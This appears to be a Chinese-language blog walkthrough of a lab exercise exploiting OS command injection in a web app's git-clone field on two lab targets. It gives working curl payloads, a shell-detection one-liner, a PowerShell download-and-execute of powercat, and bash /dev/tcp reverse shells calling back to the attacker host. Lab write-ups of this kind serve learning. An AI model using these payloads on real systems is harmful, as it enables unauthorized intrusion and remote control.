操作系統命令注入攻擊(1)

 操作系統命令注入攻擊(1)

靶機 1 IP : 192.168.203.189

攻擊端主機 IP : 192.168.45.250


rustscan 一下,是一台 Windows



80 Port 開起來是 XAMPP




8000 Port 開起來是個支援線上 GIT Clone 備份的網站,所以看來是個命令注入攻擊的欄位


 

隨便打一個 git clone http://127.0.0.1/123.zip 再送到 Burp Suite 的 Repeater

執行結果是 HTTP 200 但有 Error, Error 看來是那個 http://127.0.0.1/123.zip 的關係




ipconfig 一下發現回應 Command Injection detected



單獨下 git 看看,發現輸出有 git 的 help 說明,表示網頁一定要用 git 開頭



前面有發現是 XAMPP 所以知道是 Windows 伺服器,若不是 XAMPP 架設的網站

可以透過 git version 測試看看是 Linux or Windows(Windows 版的會寫 Windows)

這次透過 curl 來測試看看,指令如下

└─$ curl -X POST --data 'Archive=git version' http://192.168.203.189:8000/archive




那就開始試試看最常用的命令注入分接方式,亦即在指令後面接 ;、&、&&、|、etc...

這些常用的試試看,但因為是網頁輸入所以要轉一下 URL Encode

從 URL Encode 測試如下圖,可以得知轉換的語法為

; = %3B、&=%26、&&=%26%26、|=%7C


3B


那就一個一個測試看看吧,結果第一個 ;(%3B)就中獎

curl 指令 └─$ curl -X POST --data 'Archive=git%3Bipconfig' http://192.168.203.189:8000/archive



因為是 Windows 主機,所以我要知道執行指令的用 cmd or powershell

這時候可以透過這一行指令測試 (dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell

但因為是網頁,所以要記得先轉 URL Encode 為
%28dir%202%3E%261%20%2A%60%7Cecho%20CMD%29%3B%26%3C%23%20rem%20%23%3Eecho%20PowerShell


接著透過 curl 再送一次,指令如下

curl -X POST --data 'Archive=git%3B%28dir%202%3E%261%20%2A%60%7Cecho%20CMD%29%3B%26%3C%23%20rem%20%23%3Eecho%20PowerShell' http://192.168.203.189:8000/archive


得到結果是 PowerShell


所以接下來要用的後門要用 PowerShell 相關得來建立

由於前面我們得知網頁 git clone 後面可以直接接線上的 URL

所以我們將在攻擊端主機建立一個 PowerShell 後門讓對方主機透過網路來抓取

首先先將 Kali 內建的 PowerShell 攻擊程式碼複製到現有 Terminal 路徑

指令 : └─$ cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .



攻擊端起 HTTP Server,指令 └─$ python3 -m http.server 80



瀏覽器測試一下 http://127.0.0.1,確認沒問題也能看到檔案




接著透過 nc 起 4444 端口 listen 準備接 Remote Shell



在攻擊端的 Web 服務器提供 powercat.ps1 檔案和利用 Netcat 偵聽 4444 Port 後,現在可以使用 curl 來注入以下命令,由分號分隔的兩部分組成。

第一部分使用 PowerShell 下載攻擊端 Web 服務器上的 powercat.ps1 腳本,當中包含 Powercat 函數。第二個命令使用 Powercat 函數創建帶有以下參數的反向 shell:-c 指定連接位置,-p 指定端口,-e 執行程序。

IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.45.250/powercat.ps1");powercat -c 192.168.45.250 -p 4444 -e powershell 

一樣記得要先將指令碼轉 URL Encode

IEX%20%28New-Object%20System.Net.Webclient%29.DownloadString%28%22http%3A%2F%2F192.168.45.250%2Fpowercat.ps1%22%29%3Bpowercat%20-c%20192.168.45.250%20-p%204444%20-e%20powershell%20



curl 下去吧

└─$ curl -X POST --data 'Archive=git%3BIEX%20%28New-Object%20System.Net.Webclient%29.DownloadString%28%22http%3A%2F%2F192.168.45.250%2Fpowercat.ps1%22%29%3Bpowercat%20-c%20192.168.45.250%20-p%204444%20-e%20powershell%20' http://192.168.203.189:8000/archive



Listen 的 4444 Port 進來了




瀏覽到桌面發現答案,type 一下拿答案吧




靶機 2 : linux 主機

環境一樣,本次直接透過命令注入連線 reverse shell,一樣建立好 4444 listen

讓目標主機去執行此指令 bash -c "bash -i >& /dev/tcp/192.168.45.250/4444 0>&1"

記得一樣先 URL Encode 為

bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.250%2F4444%200%3E%261%22




透過 Burp Suite 注入這一段,或是 curl 跑

curl -X POST --data 'Archive=git%3Bbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.250%2F4444%200%3E%261%22' http://192.168.203.16/archive




4444 port 就進來了,記得 sudo su 一下就可以拿檔案了






留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)